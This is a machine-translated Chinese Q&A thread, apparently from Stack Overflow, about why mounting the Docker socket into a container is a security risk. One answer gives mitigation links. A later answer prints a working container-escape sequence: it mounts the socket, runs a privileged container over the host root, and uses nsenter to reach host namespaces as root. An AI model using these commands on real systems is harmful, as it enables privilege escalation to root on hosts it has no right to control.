Joe*_*oeG 7 security docker docker-compose
在这篇博客文章中,我在评论中找到了以下引文:
本菲什曼
是的 - 你是对的我应该指出Docker套接字的安全问题.这是目前在生产中实用的主要阻碍因素,我们肯定正在寻找帮助以使其更好地工作,正如您从待办事项列表中注意到的那样.
虽然我确信这对许多人来说是有道理的,对于我们其他人来说,有人可以用明确的术语来解释这个"安全问题"究竟是什么吗?我认为它指的是:
volumes:
- "/var/run/docker.sock:/var/run/docker.sock"
Run Code Online (Sandbox Code Playgroud)
在docker-compose文件中.那是对的吗?如何被利用?这是否有效地禁止了生产使用的这种方法?如果是这样,有解决方法吗?
P.J*_*P.J 16
对于我们其他人来说,有人可以用明确的术语来解释这个"安全问题"究竟是什么吗?
泊坞窗的主人/var/run/docker.sock是root其中容器运行,默认组成员的主机docker组.这就是为什么var/run/docker.sock在另一个容器中安装会给你root权限,因为现在你可以做任何root具有组成员身份的docker用户.
这是否有效地禁止了生产使用的这种方法?如果是这样,有解决方法吗?
对于解决方法,这些帖子可能会有所帮助:https://integratedcode.us/2016/04/08/user-namespaces-sharing-the-docker-unix-socket/和https://integratedcode.us/2016/04/20 /共享最搬运工-UNIX的插座与-非特权的容器-终极版/
退一步,了解您需要安装的用例var/run/docker.sock并查看是否有其他方法来满足用例将是有用的.遗憾的是,如果没有问题中的用例描述,很难提供避免安装unix插槽的替代方案.
祝你做正确的事情,祝你好运并感到荣幸!
这是一个古老的问题,但我希望我能给您一个确切的例子。
有人可以用明确的术语确切解释这个“安全问题”是什么吗?
这是漏洞利用的核心:
sh0% docker run -v /var/run/docker.sock:/ourdocker.sock:ro -it ubuntu bash
sh1# docker -H unix:///ourdocker.sock run --privileged -v /:/host ubuntu bash
sh2# nsenter --mount=/host/proc/1/ns/mnt --pid=/host/proc/1/ns/pid
sh3# # now we are in the host namespaces with root access
Run Code Online (Sandbox Code Playgroud)
您也可以不这样做--privileged。如果使用用户名称空间,则这个问题很难利用,但在某些情况下还是有可能的(并且您仍然可以影响在同一主机上运行的其他容器)。
| 归档时间: |
|
| 查看次数: |
3489 次 |
| 最近记录: |